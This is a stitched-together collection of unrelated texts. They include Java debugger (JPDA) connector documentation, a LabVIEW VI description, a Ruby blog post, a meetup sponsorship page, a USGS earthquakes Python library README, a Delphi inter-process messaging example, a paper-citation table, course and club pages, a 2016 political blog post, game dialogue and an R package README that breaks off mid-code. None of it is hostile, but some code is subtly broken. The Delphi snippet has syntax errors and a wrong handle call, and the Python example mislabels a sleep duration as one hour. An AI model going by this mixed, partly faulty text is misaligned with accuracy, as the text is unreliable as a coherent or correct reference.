Within JPDA the debugger application uses the Java Debug Interface (JDI) interface and the Connector abstraction to establish a connection to the target VM. The Connector used by the debugger application encapsulates the transport. On the target VM an agent supporting the Java Debug Wire Protocol is used to communicate with the debugger. This agent (which may be built into the target VM or loaded from a runtime library) encapsulates the transport to communicate with the debugger.
Two transport implementations are shipped with the reference implementation: A socket transport based on TCP/IP, and a shared memory transport. The specifications do not require any specific transport implementation to exist. In addition to transports provided with the implementation the architecture includes service provider interfaces to allow additional transports be developed and deployed.
Command and reply packets are written to the stream in accordance with the JDWP specification using the JDWP Transport Interface. Since many small packets can be sent over JDWP, the TCP_NO_DELAY socket option can improve performance in some socket implementations by avoiding delays that could occur if the socket implementation buffers small packets before sending them. Sockets are closed gracefully so that unsent data is sent if possible.
The socket transport is identified through a unique string, dt_socket. This name can be used to select the socket transport when invoking the target VM. Within the debugger application a corresponding Connector is used which encapsulates the socket transport.
In contexts where a client is attaching to a server, socket transport addresses have the format "<name>:<port>" where <name> is the host name and <port> is the socket port number at which it attaches or listens. In contexts where a server is waiting for a client to attach, the address consists of the port number alone (the host name is implicit).
The shared memory transport is identified through a unique string, dt_shmem. This name can be used to select the socket transport when invoking the target VM. Within the debugger application a corresponding Connector is used which encapsulates the shared memory transport.
Shared memory transport addresses are simply names that can be used as Microsoft Windows file-mapping object names. The name string can consist of any combination of characters, excluding the backslash.
A good JDI client application will allow users to choose and configure any connector that may be present, but it can be beneficial to incorporate knowledge of specific connectors into the debugger to make their configuration a more pleasant user experience. The example JDB implementation provided with the JPDA illustrates this approach.
The JDI reference implementations provides several connectors which map to the available transport types and the modes of connection (launching, listening, and attaching). These connectors are described in the following sections. A List containing these connectors is returned by JDI method VirtualMachineManager.allConnectors(). In addition, each attaching, listening, and launching connector is contained in the lists returned by the corresponding VirtualMachineManager methods attachingConnectors(), listeningConnectors(), and launchingConnectors().
This connector is uniquely identified by the name
"com.sun.jdi.CommandLineLaunch".
| name | required? | default value | description |
|---|---|---|---|
| home | no | current java.home property value | Location of the Java Runtime Environment (JRE) used to invoke the Target VM. |
| options | no | "" | Options, in addition to the standard debugging options, with which to invoke the VM. |
| main | yes | "" | The debugged application's main class and command line arguments. |
| suspend | no | true | True if the target VM is to be suspended immediately before the main class is loaded; false otherwise. |
| quote | yes | "\"" | The character used to combine space-delimited text on the command line. |
| vmexec | yes | "java" | The VM launcher executable. This can be changed to javaw or to java_g for debugging, if that launcher is available. |
This connector is uniquely identified by the name
"com.sun.jdi.RawCommandLineLaunch".
| name | required? | default value | description |
|---|---|---|---|
| command | yes | "" | Full command line to invoke the target VM with the application to be debugged.. |
| address | yes | "" | Transport address at which to listen for the newly launched target VM to connect. This value is typically part of the raw command argument as well, but this is not required if the target VM has some other means of determining the transport address to which it should connect. |
| quote | yes | "\"" | The character used to combine space-delimited text on the command line. |
This connector is uniquely identified by the name
"com.sun.jdi.SocketAttach".
| name | required? | default value | description |
|---|---|---|---|
| hostname | no | local host name | Name of host machine to connect to. |
| port | yes | "" | Port number on the host machine to connect to. |
| timeout | no | "" | The timeout, in milliseconds, to use when attaching to the target VM. |
This connector is uniquely identified by the name
"com.sun.jdi.SharedMemoryAttach".
| name | required? | default value | description |
|---|---|---|---|
| name | yes | "" | The shared memory transport address at which the target VM is listening.. |
| timeout | no | "" | The timeout, in milliseconds, to use when attaching to the target VM |
This connector can accept connections from multiple target VMs.
This connector is uniquely identified by the name
"com.sun.jdi.SocketListen".
| name | required? | default value | description |
|---|---|---|---|
| port | no | Ephemeral port number (port assigned by the TCP/IP stack) | Port number at which to listen for a connection.. |
| localAddress | no | All addresses assigned to the host | An IP address assigned to the host |
| timeout | no | "" | The timeout, in milliseconds, to use while waiting for the target VM to connect |
This connector can accept connections from multiple target VMs.
This connector is uniquely identified by the name
"com.sun.jdi.SharedMemoryListen".
| name | required? | default value | description |
|---|---|---|---|
| name | yes | "" | A shared memory transport address at which to listen for the target VM connection. |
| timeout | no | "" | The timeout, in milliseconds, to use while waiting for the target VM to connect |
| name | required? | default value | description |
|---|---|---|---|
| pid | yes | "" | The Process ID of a process to be debugged. |
| timeout | no | "" | The timeout, in milliseconds, to use when attaching to the target VM. |
| name | required? | default value | description |
|---|---|---|---|
| core |
no | core | Pathname of the core file to debug |
| javaExecutable |
yes |
"" |
Pathname of the Java executable that produced the core file. |
| name | required? | default value | description |
|---|---|---|---|
| pid | yes | "" | The Process ID of a process to be debugged. |
${JAVA_HOME}/bin/rmiregistry -J-Xbootclasspath/p:${JAVA_HOME}/lib/sa-jdi.jar
${JAVA_HOME}/bin/java \ -classpath ${JAVA_HOME}/lib/sa-jdi.jar \ sun.jvm.hotspot.jdi.SADebugServer \ <pid> \ [uniqueID]
or
${JAVA_HOME}/bin/java \ -classpath ${JAVA_HOME}/lib/sa-jdi.jar \ sun.jvm.hotspot.jdi.SADebugServer \ <pathname to the java executable that produced the core file>\ <pathname of the corefile to debug> \ [uniqueID]
An alternative to the above two steps is to use the jsadebugd (Solaris, Linux, or Mac OS X or Windows) command to start the RMI registry and debug-server on the remote machine.
'uniqueID' is an optional string. If more than one debug server is to run at the same time on the same machine, then each must have a different 'uniqueID' string.
In the above, JAVA_HOME must contain the pathname of a Java installation that is the same bit size (i.e. 32 bit/64 bit) and the same version (e.g. 5.0, 5.1) as the version used by the debuggee. However the debugger does not have to be the same bit size and version.
A process to be debugged need not have been started in debug mode(ie, with -agentlib:jdwp or -Xrunjdwp). It is permissable for the process to be hung. The process is suspended when the debug server attaches to it. When a debug server attached to a process is killed (by ^C or other means), the debuggee process will be resumed. Attaching more than one debug server to a corefile is permitted, but only one debug server can be attached to a process.
This connector allows multiple debugging sessions connected to the same debug server.
This connector is uniquely identified by the name "sun.jvm.hotspot.jdi.SADebugServerAttachingConnector".
| name | required? | default value | description |
|---|---|---|---|
| debugServerName | yes | "" | The IP address or name of the machine upon which the debug
server is running. If the machine contains multiple debug
servers, this name must be of the form uniqueID@IPAddress or uniqueID@hostname where 'uniqueID' is the string used to start the corresponding debug server. |
Oracle's VM implementation requires command line options to load the JDWP agent for debugging. The -agentlib:jdwp option is used to load and specify options to the JDWP agent.
The -agentlib:jdwp option is specified as follows:
-agentlib:jdwp=<name1>[=<value1>],<name2>[=<value2>]...
or
-Xrunjdwp:<name1>[=<value1>],<name2>[=<value2>]...
The following table describes the options that can be used:
| name | required? | default value | description |
|---|---|---|---|
| help | no | N/A | Prints a brief help message and exits the VM. |
| transport | yes | none | Name of the transport to use in connecting to debugger application. |
| server | no | "n" | If "y", listen for a debugger application to attach; otherwise,
attach to the debugger application at the specified
address.
If "y" and no address is specified, choose a transport address at which to listen for a debugger application, and print the address to the standard output stream. |
| address | yes, if server=n no, otherwise |
"" | Transport address for the connection. If server=n, attempt to attach to debugger application at this address. If server=y, listen for a connection at this address. |
| timeout | no | "" | If server=y specifies the timeout, in milliseconds, to wait for the debugger to attach. If server=n specifies the timeout, in milliseconds, to use when attaching to the debugger. Note that the timeout option may be ignored by some transport implementations. |
| launch | no | none | At completion of JDWP initialization, launch the process given
in this string. This option is used in combination with
onthrow and/or onuncaught to provide
"Just-In-Time debugging" in which a debugger process is launched
when a particular event occurs in this VM.
Note that the launched process is not started in its own window. In most cases the launched process should be a small application which in turns launches the debugger application in its own window. The following strings are appended to the string given in this argument (space-delimited). They can aid the launched debugger in establishing a connection with this VM. The resulting string is executed.
|
| onthrow | no | none | Delay initialization of the JDWP library until an exception of the given class is thrown in this VM. The exception class name must be package-qualified.Connection establishment is included in JDWP initialization, so it will not begin until the exception is thrown. |
| onuncaught | no | "n" | If "y", delay initialization of the JDWP library until an uncaught exception is thrown in this VM. Connection establishment is included in JDWP initialization, so it will not begin until the exception is thrown. See the JDI specification for com.sun.jdi.ExceptionEvent for a definition of uncaught exceptions. |
| suspend | no | "y" | If "y", VMStartEvent has a suspendPolicy of SUSPEND_ALL. If "n", VMStartEvent has a suspendPolicy of SUSPEND_NONE. |
JDI launching connectors cannot be used to debug Plug-in applets.
In JDB, the -attach option provides access to one of the attaching connectors in the reference implementation (shared memory on Microsoft Windows, sockets on the Solaris and Linux platforms). The -listen option provides access to one of the listening connectors in the reference implementation (shared memory on Microsoft Windows, sockets on the Solaris and Linux platforms). A class name and arguments specified directly on the command line provide access to the command line launching connector.
For example:
jdb -attach myhost:8000
is an easy way to attach to a target VM with the Socket Attaching Connector (on the Solaris operating environment), and
jdb Hello 1 2 3
is an easy way to launch a target VM with the Command Line Launching Connector.
However, the -connect option is also provided by JDB to handle any connector by taking an connector name and a set of arbitrary name/value argument pairs. For example the command lines above have the following equivalents.
jdb -connect
com.sun.jdi.SocketAttach:hostname=myhost,port=8000
jdb -connect "com.sun.jdi.CommandLineLaunch:main=Hello 1 2
3"
These command lines are more cumbersome than the ones above, but the -connect option can be used with any connector. This kind of operation is a primitive example of how a JDI debugger can deal with any kind of connector while providing a simplified interface for dealing with common, well-known connectors.
JPDA includes service provider interfaces to allow the development and deployment of connector and transport implementations. These service provider interfaces allow debugger and other tool vendors develop new connector implementations and provide addition transport mechanisms over and beyond the socket and shared memory transport provided by Oracle. The service provider interfaces in JDI are specified in the com.sun.jdi.connect.spi package.
In addition to the service provider interfaces in JDI the Oracle implementation also includes a transport library interface called the Java Debug Wire Protocol Transport Interface. A transport library is loaded by the JDWP agent in the target VM and is used to establish a connection to the debugger and to transport JDWP packets between the debugger and the VM.
Further information on the service provider interfaces can be in the document Java Platform Debugger Architecture - Service Provider Interfaces.


This VI obtains a reference to every object on the front panel of the VI reference passed to it. This is used at the start of all applications using LSS to obtain the references it will use later for changing style programatically.
|
VI in Reference to the VI whose front panel will be modified by subsequent LSS calls. |
|
colorMap This string is an LSS formatted string that allows the mapping of hexidecimal color constants to string names that are easier to remember. Once a color is defined in the colorMap, any subsequent LSS call can simply use the name of the color instead of the hexidecimal representation. The format for this string is as follows: colorMap{ myColorName:#000000; } |
|
grouping Style sheet determining how objects will be grouped. The format of the style sheet for grouping objects is as follows: grouping{ objectGroupName:frontPanelObjectName; objectGroupName2:frontPanelObjectName2; } Where the specifier grouping must stay the same. objectGroupName is the name of the group, for example "Group 1". frontPanelObjectName is the name of the item on the front panel, for example "Stop Button". To add two buttons to group alpha would look as follows: grouping{ group alpha:Start Button; group alpha:Stop Button; } |
|
error in (no error) error in describes error conditions that occur before this node runs. This input provides standard error in functionality. |
|
Front Panel Objects Contains the reference to every front panel object. This reference array must be passed to other LSS function calls. |
|
Generic reference to a front panel object. |
|
error out Returns errors from this VI if any occured. |


10/31/14
The #group_by enumerable is great! Enumerables are mixins. They are what they sound like, modules that are mixed into multiple classes (so you don't have to keep redefining it for each class) so that they can also use these methods. In order for these classes to actually use these mixed in enumerable methods, it needs to first define a #each method so that it is able to pick itself (#self) apart.  If you have the object itself with the enumerable and no block after it, the resulting object is considered to have an enumerator class.
I have yet to use group_by, but I'm sure the opportunity will come soon. We all know how beneficial hashes can be. Can you imagine a function that can parse through an array or a group of elements and divide them depending on the result into a hash? I can see it making life so much easier.
The syntax goes like this:
group_by { |obj| block } → a_hash
For example, say you want to divide an array of numbers into separate arrays depending on whether they're multiples of 3. Furthermore, you want to make the distinction of what their remainders are. So, calling
[1,2,3,4,5,6].group_by { |i| i % 3}
will give
#=> {0=>[3, 6], 1=>[1, 4], 2=>[2, 5]}
You can see that the multiples of 3 are conveniently stored as values in the 0 key. Meanwhile, the other remainder results are stored in their own keys as well. Is that not great?! Ok sorry I realize this may sound cheesy but it's the best I can come up with at the moment, and Tony the Tiger approves.


We can't put on nodeschool events here in Baltimore without some help from awesome sponsors. As of right now we have two types of somewhat loosely-defined sponsorship opportunities:
Providing a location to meet with adequate space, collaborative seating, good location, parking if possible, and solid wi-fi internet and other technical needs such as projector, sound for music, etc.
Currently this amount is at $200 (per event)* to go toward food, drinks, supplies (signs, name badges, posters, etc) and swag (printing stickers, lanyards for mentors, t-shirts are a possibility).
PayPal or advance check works best here, but some companies have preferred to pick up food/drinks themselves and bring them to the event, for example. We'll work with whatever works for you. :)
*Note: the $200 amount has worked well so far but may be adjusted depending on the size and type of event.
At either of these levels, your company name/description goes on our website, you're free to bring a sign and/or swag to put up at the event, and you can give a quick 2 minute plug during the event at some point.
This is also a pretty good opportunity to get in front of area node developers if you'd like to mention job opportunities, also.
Send an email to<EMAIL_ADDRESS>outlining what kind of sponsorship you're interested in and we'll work with you to figure out what works best.


NewsPosted on March 31, 2020
More news
PANEL AT THE NEBULA AWARDS ON MAY 31
I’ll be speaking at the 2020 Nebula Awards with a panel of great authors. The Nebulas are a preeminent science fiction event focused on literature — unlike many comicons, which gravitate towards film and television. The panel topic is “Who and What I am”, which will explore challenging questions around identity and place in science fiction.
Like many of you, I would have preferred to be at the event in person, but the coronavirus pandemic calls for creative — and safe solutions. The Nebulas responded to the outbreak by offering to refund all attendees and then vastly reduced its programming. I’m looking forward to joining in this experiment with my fellow panelists on Sunday, May 31.
Click here for panel details.


The Earthquake library offers access to the United States Geological Survey’s Earthquake feed. This is international data about earthquakes happening all over. They offer a lot of information, including magnitude and coordinates. You can get information as far back as the past month, or as most recent as the past hour. Note that this data stream has a very high velocity - if you check every five minutes, you’ll find it may have already changed.
>>> from earthquakes import earthquakes
You can get a Report about the latest earthquakes.
>>> report = earthquakes.get_report()
>>> report
<Report USGS Significant Earthquakes, Past Hour, 2 Quakes>
By default, it only gets the significant earthquakes from the past hour. There are usually not that many significant earthquakes in the world, though.
>>> earthquakes.get_report('week', 'all')
<Report USGS All Earthquakes, Past Week, 1612 Quakes>
>>> report = earthquakes.get_report('hour', '1.0')
>>> report
<Report USGS Magnitude 1.0+ Earthquakes, Past Hour, 4 Quakes>
Reports have a title, a list of earthquakes, and a boundary box that fits all the earthquakes.
>>> report.title
'USGS Magnitude 1.0+ Earthquakes, Past Hour'
>>> report.earthquakes
[<Earthquake nc72216991>, <Earthquake ak11254626>, <Earthquake ak11254622>, <Earthquake ak11254614>]
>>> report.area
<Box (-151.35, 38.76), (-122.78, 63.12)>
A given earthquake has many properties available.
>>> quake = report.earthquakes[0]
>>> quake
<Earthquake nc72216991>
>>> quake.magnitude
1.1
>>> quake.location
<Coordinate -122.776, 38.761>
>>> quake.location_description
'2km SW of The Geysers, California'
>>> quake.time # epoch time
1399423359500
Other fields: alert_level, distance, event_source, felt_reports, gap, id, maximum_estimated_intensity, maximum_reported_intensity, root_mean_square, significance, url.
Warning
Sometimes earthquake information is released before it is fully compiled, such as the number of felt_reports. Therefore, data may change between calls to the service. Moreover, older earthquakes in a Report may have more data available to them than newer ones.
The built-in cache allows you to work online:
>>> earthquakes.connect() # unnecessary: default is connected
or offline:
>>> earthquakes.disconnect()
>>> earthquakes.get_report('day', 'all')
<Report USGS All Earthquakes, Past Day, 237 Quakes>
But remember there must be data in the cache already!
report = earthquakes.get_report(‘hour’, ‘1.0’) earthquakes.earthquakes.USGSException: No data was in the cache for this time and threshold (‘hour’, ‘1.0’).
The cache can be configured to handle repeated calls differently. For example, if you want, you could make it return new results every time you call:
>>> earthquakes.get_report('hour', 'all')
<Report USGS All Earthquakes, Past Day, 9 Quakes>
>>> earthquakes.get_report('hour', 'all')
<Report USGS All Earthquakes, Past Day, 12 Quakes>
>>> earthquakes.get_report('hour', 'all')
<Report USGS All Earthquakes, Past Day, 6 Quakes>
Say you want to add the latest earthquakes to the cache:
>>> earthquakes._start_editing()
>>> earthquakes.get_posts('hour', '1.0')
>>> earthquakes._save_cache()
Now the file “cache.json” file will have an entry for (“hour”, “1.0”), and you can use that as an input to the function when disconnected.
You can also create a different cache file by passing a filename to the _save_cache() method, and use that cache by passing its name to the disconnect() method.
For example, this will populate a file called “violent.json”, ideally taken during a time of high geologic activity.
>>> earthquakes._start_editing()
>>> earthquakes.get_posts('hour', '1.0')
>>> earthquakes._save_cache('violent.json')
To use that cached file, specify the json file name when you call disconnect():
>>> earthquakes.disconnect("violent.json")
Finally, you can put multiple entries into the cache for a given input, simulating multiple calls. These items will be appended. If the cache runs out, it will start returning empty reports.
>>> earthquakes.connect()
>>> earthquakes._start_editing()
>>> report = earthquakes.get_posts('hour', '1.0')
<Report USGS Magnitude 1.0+ Earthquakes, Past Hour, 9 Quakes>
>>> time.sleep(1000 * 60) # 1 hour
>>> earthquakes.get_posts('hour', '1.0')
<Report USGS Magnitude 1.0+ Earthquakes, Past Hour, 12 Quakes>
>>> earthquakes._save_cache()
>>> earthquakes.disconnect()
>>> earthquakes.get_posts('hour', '1.0')
<Report USGS Magnitude 1.0+ Earthquakes, Past Hour, 9 Quakes>
>>> earthquakes.get_posts('hour', '1.0')
<Report USGS Magnitude 1.0+ Earthquakes, Past Hour, 12 Quakes>
>>> earthquakes.get_posts('hour', '1.0')
<Report USGS Magnitude 1.0+ Earthquakes, Past Hour, 0 Quakes>
>>> earthquakes.get_posts('hour', '1.0')
<Report USGS Magnitude 1.0+ Earthquakes, Past Hour, 0 Quakes>
To run the unit tests from the command line:
>>> python -m tests.test
Further documentation is available in the docs/_builds/index.html file.
Connect to the online data source in order to get up-to-date information. :returns: void
Connect to the local cache, so no internet connection is required. :returns: void
Retrieves a new Report about recent earthquakes.
| Parameters: |
|
|---|---|
| Returns: | Report |
Information about earthquakes matching certain criteria, including the area that they occurred.
Creates a new Report
| Parameters: |
|
|---|---|
| Returns: | Report |
Information about a specific earthquake.
Creates a new Earthquake
| Parameters: |
|
|---|---|
| Returns: | Earthquake |
The minimum and maximum coordinates needed for to display all the earthquakes in this report.
Creates a new BoundingBox
| Parameters: |
|
|---|---|
| Returns: | BoundingBox |
The longitudinal, latitudinal, and depth where the earthquake occurred.
Creates a new Coordinate
| Parameters: |
|
|---|---|
| Returns: | Coordinate |


--- ---
Windows messaging is an easy way for processes to communicate. Below, you will find an example of sending such messages, as well as an example message handler to receive them.
Please keep in mind that there is no guarantee that your process will receive this message. Or, it may receive it instantaneously. I recommend sending some sort of ACK response back to the originating app so I knows it was received properly.
// wmCopyData // Allows inter-process communications via Windows WM_COPYDATA messaging. procedure wmCopyData(WndClass:PChar;WndTitle:PChar;Msg:String); var hWnd : THandle // Handle to target window to receive message cds : CopyDataStruct; // Structure to package the outbound message begin // Find target window hWnd := FindWindow(PChar(WndClass), PChar(WndTitle)); try cds.dwData := 0 cds.cbData := Length(Msg); // Length of message cds.lpData := PChar(Msg); // Actual message // The following function is not necessary for this to work SetForegroundWindow(hWnd); // Pulls target window up top SendMessage(hWnd, wm_CopyData, 0, Integer(@cds)); send the message finally CloseHandle(hWnd) // Close handle to target end; end;
A typical call to this procedure would be:
wmCopyData('NOTEPAD','Untitled - Notepad','Test Message');
Keep in mind that Notepad does not have a handler to receive messages sent via WM_COPYDATA.
Also, it is not necessary to use both the Class name and Window title text, one is sufficient. However, if you have multiple copies open, it will go to the first one it finds.
// Add a custom message handler so our app gets notified upon receipt private procedure WMGetData(var Msg: TWMCopyData); message WM_COPYDATA; // wmGetData // Receives inbound messages - Callback function // Called from message handler procedure TForm1.wmGetData(var Msg: TWMCopyData); var sText: array[0..255] of Char; // Create an array to store message in begin // Cast inbound data structure into a character array StrLCopy(sText, Msg.CopyDataStruct.lpData, Msg.CopyDataStruct.cbData); Edit1.Text := sText; end;


| 1 |
Hamm_2006 |
Resistance to cyfluthrin and tetrachlorvinphos in the lesser mealworm, Alphitobius diaperinus, collected from the eastern United States |
Hamm, Ronda L; Kaufman, Phillip E; Reasor, Colleen A; Rutz, Donald A; Scott, Jeffrey G |
2006 |
2006-06-12 |
PMC |
N |
PMC7167877 |
16770758.0 |
10.1002/ps.1230 |
0zvqvumc |
0.988273 |
Murray_2013 |
|
| 2 |
Singh_2012 |
Attractiveness of an Aggregation Pheromone Lure and Chicken Droppings to Adults and Larvae of Alphitobius diaperinus (Coleoptera: Tenebrionidae) |
Singh, N.; Johnson, D. T. |
2012 |
2012-12-01 |
NONCOMM |
N |
PMC7109890 |
23356087.0 |
10.1603/ec11422 |
qb0hxjj7 |
0.968101 |
Murray_2013 |
Hickmann_2018, Alborzi_2012 |
| 3 |
Hickmann_2018 |
Susceptibility of the Lesser Mealworm, Alphitobius diaperinus (Coleoptera: Tenebrionidae), From Broiler Farms of Southern Brazil to Insecticides |
Hickmann, Frederico; de Morais, Alexssandro F; Bronzatto, Eduarda S; Giacomelli, Tiago; Guedes, Jerson V C; Bernardi, Oderlei |
2018 |
2018-03-08 |
PMC |
N |
PMC7110055 |
29534190.0 |
10.1093/jee/toy059 |
47tdddmx |
0.945737 |
|
Alborzi_2012, East_2013 |
| 4 |
Nielsen_2011 |
Persistence of Low-Pathogenic Avian Influenza H5N7 and H7N1 Subtypes in House Flies (Diptera: Muscidae) |
Nielsen, Anne Ahlmann; Skovgård, Henrik; Stockmarr, Anders; Handberg, Kurt Jensen; Jørgensen, Poul H. |
2011 |
2011-05-01 |
NONCOMM |
N |
PMC7107468 |
21661322.0 |
10.1603/me11017 |
edolh7ww |
0.864356 |
|
|
| 5 |
Watson_2007 |
Experimental Evaluation of Musca domestica (Diptera: Muscidae) as a Vector of Newcastle Disease Virus |
Watson, D. Wes; Niño, Elina L.; Rochon, Kateryn; Denning, Steve; Smith, Lynda; Guy, James S. |
2007 |
2007-07-01 |
NONCOMM |
N |
PMC7107465 |
17695023.0 |
10.1093/jmedent/44.4.666 |
66ecksxm |
0.794294 |
|
|
| 6 |
Kozaki_2007 |
Comparison of two acetylcholinesterase gene cDNAs of the lesser mealworm, Alphitobius diaperinus, in insecticide susceptible and resistant strains |
Kozaki, Toshinori; Kimmelblatt, Brian A.; Hamm, Ronda L.; Scott, Jeffrey G. |
2007 |
2007-12-28 |
PMC |
N |
PMC7159712 |
18163527.0 |
10.1002/arch.20229 |
yck1t3pp |
0.741907 |
|
|
| 7 |
McElroy_2005 |
Molecular assay for the detection of Cochlosoma anatis in house flies and turkey specimens by polymerase chain reaction |
McElroy, Sheri M.; Szalanski, Allen L.; McKay, Tanja; Bermudez, Alex J.; Owens, Carrie B.; Steelman, C. Dayton |
2005 |
2005-01-20 |
PMC |
N |
PMC7115810 |
15631910.0 |
10.1016/j.vetpar.2004.09.015 |
hol4dlfc |
0.696930 |
Shin_1993 |
Sazmand_2019 |
| 8 |
Bagshaw_2014 |
Molecular detection of canine parvovirus in flies (Diptera) at open and closed canine facilities in the eastern United States |
Bagshaw, Clarence; Isdell, Allen E.; Thiruvaiyaru, Dharma S.; Brisbin, I. Lehr; Sanchez, Susan |
2014 |
2014-06-01 |
PMC |
N |
PMC7114225 |
24679715.0 |
10.1016/j.prevetmed.2014.02.005 |
gb6av94h |
0.434273 |
|
Candela_2019 |


Thanks for an awesome semester!
We're continuously trying to make this course better, and we'd really appreciate your feedback!
You can also apply to be a TA if you're interested in teaching the next generation of iOS developers :)
End-of-Semester Feedback
Apply to be a TA!
Syllabus (Spring 2019)
First class: Tuesday, 1/29 in 145 Moffit
Course Staff
(Contact course staff by making a private post on Piazza)
Facilitators
RJ Pimentel
David Xiong
Teaching Assistants
Stephen Boyle
Sunbin Kim
Matthew Lam
Thuan Phung
Nikhil Yerasi
About
Time/ Location
Each week, we will have one lecture and one lab, with attendance being required for both.
- Lecture: Tuesdays, 5-6pm in 145 Moffitt
- Office Hours: Tuesdays, 6-7pm in 145 Moffitt (following lecture)
- Lab: Thursdays, 5-7pm in 145 Moffitt
Course Description
The iOS DeCal was started by Professor Dan Garcia (now our Faculty Advisor) in
as MS-DOS X, a student-run Objective-C course for OS X (and later iOS) development. Rebooted in the Fall 2015 semester, the renamed iOS DeCal now operates with the latest devices (e.g. iPhone, iPad, Apple Watch, Apple TV). By the end of the semester, students will have created a variety of apps, including one entirely of their own design.
Grading
Labs: 1pt each (8pts total)
Assignments: 4pts each (12pts total)
Custom App: 10pts
Total: 30 pts (21pts needed to pass)
Prerequisites/ Requirements
- Courses: CS 61A and CS 61B, or equivalent courses (we will be assuming that students are familiar with object-oriented programming)
- Hardware: MacBook running macOS 10.13.6 or later


Connects to a remote machine and handles various events received from the client control.
Connect to:
Connect
Events received


November 2016
I think the gravity of what happened tonight has just sunk in. Has never held political office in his life. NEVER. To replace this colossal lack of qualification, there is an argument of how being a successful business man will translate to being a successful president. Two claims are made in that statement. First, that his success was based on his own skill and talent. Second, that he is successful. To address the former claim, it is very useful to come to the realization that his entire business consists of licensing his name to various properties. The other part of his business is real state which was initially developed by his father and was consistently his main source of income. Futher, what most people don’t realize is the fragility of his wealth. The vast majority of his assets are based on his name and brand; if people forget about or stop liking his name, he is not a billionaire anymore. Perhaps the most damning fact, however, is that if he had simply sat around, let his father’s real state develop and put his inheritance in an index fund, he would have more money than he does today. MORE. Second, skill in business is very easily overestimated when one starts with a loan of 1 million dollars and has the safety net of growing real estate company to fall back on. One would think that with all these advantages, hard work and skill cannot be the only factors involved: if everyone started out with the assets that he did, we would not consider him successful.
Yet all of this is pointless. The war on facts perpetrated by the media has very quickly lead to factual arguments being a thing of the past. When there is no longer a baseline of fact, logic cannot apply and all discussion is pointless.
When I really think about it, I think this is what led us to this point. Not the fact that Hillary was a woman, or the Democrats weren’t progressive enough, or that Bernie wasn’t nominated, or that James Comey is Republican, or that voter turnout hit a 7 year low, or that Trump appealed to the silent majority, or that America is still racist, or that Islamic terrorism is overstated, or that fear mongering swayed opinions, or that corporate interests were being refuted, or that Super Pacs were being proved wrong, or that electing Obama gave America a reason to be more conservative…

Non-facts are being treated like facts. Misinformation is becoming a reality as viable everything else.
The fact of it is that the media, or how we react to the media, has to change. Although it’s a long shot, a very clear line must be drawn between beliefs, facts and non-facts.


--- layout: default title: "Developer Resources" permalink: "/dev/resources" ---
Here are some resources that we've created to help with developer onboarding, training, and tooling!
Over Summer '20, we made 18 videos (and accompanying written notes) covering everything you need to know to work on our learning labs! We cover the basics of HTML, CSS, and JS; dive into React; and touch on DevOps, accessibility and best practices, and even Firebase and backends!
If you're just joining Teach LA, we'll most likely point you towards these resources!
Watch the videos on YouTube, or follow along with the notes on Github!
We love working with QWER Hacks, the first collegiate LGBTQIA+ hackathon - held right here at UCLA!
We've coprogrammed with them by developing workshops on React and Firestore. They're great short intros to how to use some of the newer web technologies and make your own web app!
We ran a set of in-depth training sessions with our dev team interns to cover practical topics related to our workflow. Sessions range from intro to project management to CI/CD and linting to intro to backend.
There's a bit of overlap with our learning labs crash course; you can check that our first!
Follow along with the notes on GitHub!
We set up a template repository for React projects with automatic build actions, dependabot setup, and some other neat things! Light and unopionated, this starter powers a few of our internal React projects.
Check out our GitHub repository!


White to play 25
pips White=167 Black=162
(CorrectAnswer= 0/0, ErrorScore= 0)
1. 24/22 13/8 eq: -0.184 46.00% (G:12.30% B:0.64%) 54.00% (G:17.28% B:0.64%) 2. 13/11 13/8 eq: -0.207 (-0.023) 45.34% (G:13.15% B:0.73%) 54.66% (G:17.75% B:0.96%) 3. 13/8 6/4 eq: -0.217 (-0.033) 45.35% (G:12.60% B:0.65%) 54.65% (G:17.90% B:1.03%) 4. 13/6 eq: -0.269 (-0.085) 43.28% (G:11.46% B:0.56%) 56.72% (G:17.79% B:0.92%) 5. 13/11 8/3 eq: -0.302 (-0.118) 42.84% (G:11.68% B:0.60%) 57.16% (G:19.24% B:1.44%)


Gatekeeper Ilyana:
This village has been a strategic point for politics, the economy, and the military all over the northern parts of this greate continent.
What brings you to the Town of Rune?
Teleport
Exchange Dimension Diamonds.
[Noblesse Exclusive] Teleport
Move to the Arena & Monster Race Track (Free).
Quest


Create, transform, and summarize custom random variables with distribution functions (analogues of p*()
, d*()
, q*()
, and r*()
functions from base R), all of which called “pdqr-functions”. General idea is to work with manually created distributions which can be described in four interchangeable functional ways.
Typical usage is to:
new_*()
family), and/or convert from some other existing distribution function (with as_*()
family).form_*()
family.summ_*()
family.Two types of pdqr-functions, representing different types of distributions, are supported:
Implemented approaches often emphasize approximate and numerical solutions:
Note that to fully use this package, one needs to be familiar with basics of probability theory (concepts such as probability, distribution, density, etc.).
This README covers the following topics:
new_*()
.as_*()
.form_*()
.summ_*()
.‘pdqr’ is not yet on CRAN. You can install the development version from GitHub with:
# install.packages("devtools")
devtools::install_github("echasnovski/pdqr")
Generate a sample from a distribution defined by some reference sample:
# Treat input sample as coming from a continuous distribution
r_mpg <- new_r(mtcars$mpg, type = "continuous")
r_mpg(n = 10)
#> [1] 17.3792362 10.4822955 22.8221407 21.8118788 15.5166760 16.3005293 20.5809388 16.8043292 21.1901692
#> [10] 19.9680967
Compute winsorized mean:
# Import 'magrittr' to use pipe operator `%>%`
library(magrittr)
# Take a sample
mtcars$mpg %>%
# Create pdqr-function of any class treating input as discrete
new_d(type = "discrete") %>%
# Winsorize tails
form_tails(level = 0.1, method = "winsor", direction = "both") %>%
# Compute mean of distribution
summ_mean()
#> [1] 20.19375
Compute and visualize distribution of difference of sample means:
# Compute distribution of first sample mean treating input as continuous
mpg_vs0 <- mtcars$mpg[mtcars$vs == 0]
d_vs0 <- new_d(mpg_vs0, "continuous")
(d_vs0_mean <- form_estimate(
d_vs0, stat = mean, sample_size = length(mpg_vs0)
))
#> Density function of continuous type
#> Support: ~[12.14822, 20.63362] (511 intervals)
# Compute distribution of second sample mean treating input as continuous
mpg_vs1 <- mtcars$mpg[mtcars$vs == 1]
d_vs1 <- new_d(mpg_vs1, "continuous")
(d_vs1_mean <- form_estimate(
d_vs1, stat = mean, sample_size = length(mpg_vs1)
))
#> Density function of continuous type
#> Support: ~[18.42035, 31.00767] (511 intervals)
# Compute distribution of difference of sample means using random simulation
(mpg_diffmean <- d_vs0_mean - d_vs1_mean)
#> Density function of continuous type
#> Support: ~[-15.97734, 0.93274] (511 intervals)
# Visualize with base `plot()`
plot(mpg_diffmean, main = "Distribution of difference of sample means")
Compute and visualize 95% highest density region for mixture of normal distributions:
# Create a list of pdqr-functions
norm_list <- list(
